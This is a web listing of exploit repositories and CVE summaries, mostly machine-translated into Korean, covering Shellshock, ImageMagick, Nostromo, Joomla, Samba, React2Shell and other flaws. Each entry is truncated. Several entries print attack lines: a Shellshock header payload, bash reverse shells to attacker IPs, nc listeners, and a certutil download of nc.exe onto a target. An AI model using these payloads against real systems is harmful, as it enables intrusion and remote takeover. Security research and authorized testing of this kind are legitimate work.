CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 셸쇼크 취약점 공격 스크립트 🎯💻🔍 이 Python 스크립트는 Shellshock 취약점CVE-2014-6271을 이용하여 취약한 대상에서 원격으로 명령을 실행하거나 리버스 셸을 설정합니다. 🛠️⚠️ ⚠ 면책 조항 🚨❗ 이 스크립트는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 명시적 허가 없이 시스템에 무단 사용하는 것은 불법이며 비윤리적입니다. 보안 테스트를 수행하기 전에 항상 적절한 승인을 받으십시오. ⚠️🛑🚔 🔥 기능 Shellshock 취약점을 이용하여 취약한...

CVE-2016-3714

CVE-2016-3714 ImageMagick 코드 실행 CVE-2016-3714 imagickbuilder.py = CVE-2016-3714를 악용하기 위한 간단한 페이로드 빌더 imagickbypassshell.php = PHP imagick 확장 래퍼를 사용하여 비활성화된 함수를 우회하는 PHP 기반 웹 셸 작동하는 몇 가지 이미지: 페이로드 빌더: ImageMagick이 활성화된 vBulletin 4.x에 대한 imagick 페이로드: 페이로드 트리거 후 서버 측: 웹 셸: 명령 실행: 파일 읽기:...

Shell-Shock

Shell Shock 작성자 : [email protected] 유지관리자 : 부서 : DevOps 라이선스 : 개요 Shell Shock : 권한 상승, 원격 코드 실행 Unix Bash 셸의 버그 계열입니다. 임의의 명령 실행을 허용합니다. 공격 벡터 페이로드 shellshock 사용자 에이전트 = User-Agent: :; ; rshell 페이로드 = bash -i & /dev/tcp/127.0.0.1 rshell 리스너로의 리다이렉트 = bash -i & /dev/tcp/$YOURIP:$PORT 트릭 설계 : ...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278의 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 가능하게 합니다. 요구 사항 optparse socat sys 사용법 다음과 같이 익스플로잇을 사용할 수 있습니다: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'"...

CVE-2025-55182

CVE-2025-55182 React2Shell 익스플로잇 킷 🎯 완벽하게 작동하는 익스플로잇 데모 이 프로젝트는 React Server Components 및 Next.js의 심각한 원격 코드 실행 취약점인 CVE-2025-55182 React2Shell에 대한 완전한 기능의 데모를 제공합니다. 상태: ✅ 작동 중 - 취약한 서버에서 실제 명령 실행을 달성합니다. 🚀 포함 내용 작동하는 익스플로잇 바이너리 언어: Go 1.25.5 바이너리: CVE-2025-55182 7.8MB 컴파일된 실행 파일 기능: 취약한 Next.js...

CVE-2026-82928: Inclusion of Undocumented Features or Chicken Bits

mH-DEVELOPER smart home module contains a hardcoded SSH public key in /root/.ssh/authorizedkeys, serving as a potential backdoor. The SSH daemon allows root login via key authentication and starts automatically. An attacker with the matching private key can gain a root shell on any affected devic...

CVE-2026-85134: Unrestricted Upload of File with Dangerous Type

Unrestricted upload of file with dangerous type vulnerability in Bimser Solution Software Trade Inc. EBA Plus Document and Workflow Management System allows Upload a Web Shell to a Web Server. This issue affects eBA Plus Document and Workflow Management System: from 6.7.141 before 10.0.11...

CVE-2026-75600: Improper Neutralization of Special Elements used in an OS Command

FreePBX is an open source IP PBX. Prior to version 17.0.9, authenticated users who are authorized to access the GraphQL api module interface of FreePBX are able to execute arbitrary shell commands. Authenticated access to the api module is required. The PBX API module's documentation generator...

CVE-2026-86102: Improper Neutralization of Special Elements used in an OS Command

An OS command injection vulnerability in the WatchGuard AP internal API service allows an attacker with network access to the AP to execute arbitrary shell commands on the underlying operating system...

CVE-2026-48172

📚 교육용 보안 연구 저장소 통제된 환경에서 사이버보안 개념을 학습, 테스트, 연구하기 위한 저장소입니다. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실습 환경 승인된 침투 테스트 환경 설정 예시: git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d cd .. 사용 예시: For localhost...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py"는 msfvenom에서 셸코드를 가져온 다음 출력 결과를 exp.pdf에 복사하여 'calc' 셸코드 블록을 대체하는 Python 스크립트입니다. 최종적으로 작동합니다. 아차, TCP 리버스 셸코드입니다. 샘플 코드는 다음과 같습니다: python getshellcodefrommsf.py 192.168.1.79 1234...

CVE-2017-14187_PoC_ARMv7

CVE-2017-14187 PoC FortiOS 5.6.0 5.6.2, 5.4.0 5.4.8 및 5.2 미만에 대한 로컬 권한 상승 개념 증명 fnsysctl 및 USB를 통해 트리거됨 따라서 물리적 접근 필요. 이 PoC는 CVE-2017-14187을 악용하여 로컬 루트 셸을 생성합니다. 분석글 한국어 영어 TL;DR 1. fnsysctl cp /usb/payloadpathfile /etc/ld.so.preload 2. fnsysctl ls - LDPRELOAD 인젝션 - 임의 코드 실행 - LPE제한된 셸 탈출 소스에서 빌...

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 익스플로잇 Username Map Script 이 저장소는 Samba 서버버전 3.0.203.0.25rc3에서 CVE-2007-2447 취약점의 악용을 자동화하도록 설계된 Python 스크립트를 포함합니다. 이 도구는 오로지 교육적 목적과 승인된 침투 테스트를 위해 개발되었습니다. 📝 기술·학술적 설명 "Username Map Script" 취약점은 Samba 구성에서 username map script 옵션이 활성화된 경우 사용자 이름 입력에 대한 검증새니타이제이션이 부족하여 발생합니다. ...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE 제작: TheAlchimist cve-2023-27163-maltrail.py for reverse shell...

CVE-2015-8562

CVE-2015-8562 - 反向 Shell Python 漏洞利用：Joomla 1.5 - 3.4.5 对象注入 RCE X-Forwarded-For 头： 漏洞日期：2015年12月17日 漏洞利用作者：anarc0der 版本：Joomla 1.5 至 3.4.5 CVE：CVE-2015-8562 使用方法： 打开一个终端并使用 nc 监听：$ nc -lnvp 4444 打开另一个终端并执行漏洞利用： python3 rce.py --target='目标' --ip='IP' --port=4444 PoC 示例目标（请勿攻击它们，仅供其他人作为示例使用）：...

CVE-2019-0232

CGI RCE 익스플로잇 인증되지 않은 RCE를 CGI 배치 엔드포인트를 통해 수행하는 PoC입니다. certutil을 사용하여 타겟에 nc.exe를 다운로드하고 리버스 셸을 트리거합니다. 설정 1. nc.exe 서빙 nc.exe가 있는 동일 디렉토리에서: python3 -m http.server 80 2. 리스너 시작: nc -lvnp 1234 3. 익스플로잇 실행: python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip \ --server-port 80 \ --nc-ip...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - 권한 상승 ./exploit.sh CVE-2022-37706 Trying to find the vulnerable SUID file... This may take few seconds... + Vulnerable SUID binary found! + Trying to pop a root shell! + Enjoy the root shell : mount: /dev/../tmp/: can't find in /etc/fstab...

CVE-2021-21220

먼저 설치: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome 버전: 90.0.4403.0 chrome-win.zip 설치 1. node server.js ./chrome.exe --no-sandbox 실행 localhost:8888로 이동 참고로, 이 익스플로잇이 의존하는 CVE는 CVE 2021-21220입니다. 이 취약점은 호스팅되는 웹사이트를 기반으로 합니다. 핵심 아이디어는...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 대안 접근법: 리버스 셸 및 콜백 테스트 개요 이 저장소는 SSH 키 주입이 실패할 때 InvokeAI RCE 취약점CVE-2024-12029에 대한 대안 페이로드 접근 방식을 포함합니다. 페이로드는 pickle 역직렬화가 실제로 발생하는지 테스트하고 대체 접근 방법을 제공하도록 설계되었습니다. 문제 설명 SSH 키 주입 페이로드가 성공적으로 전달Status 201되었지만 SSH 접속에 여전히 비밀번호가 필요한 경우,...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE 익스플로잇 프로토타입 오염을 통한 원격 코드 실행을 위해 CVE-2025-55182를 악용합니다. 저자: Severian N.K. 설명 이 도구는 React Server Components를 사용하는 Next.js 애플리케이션의 프로토타입 오염 취약점을 악용하여 원격 코드 실행RCE을 유발합니다. 직접 명령 실행과 리버스 셸을 모두 지원합니다. 설치 이 프로젝트는 종속성을 관리하기 위해 Python 가상 환경을 사용합니다. 먼저 Python 3이 설치되어 있는지...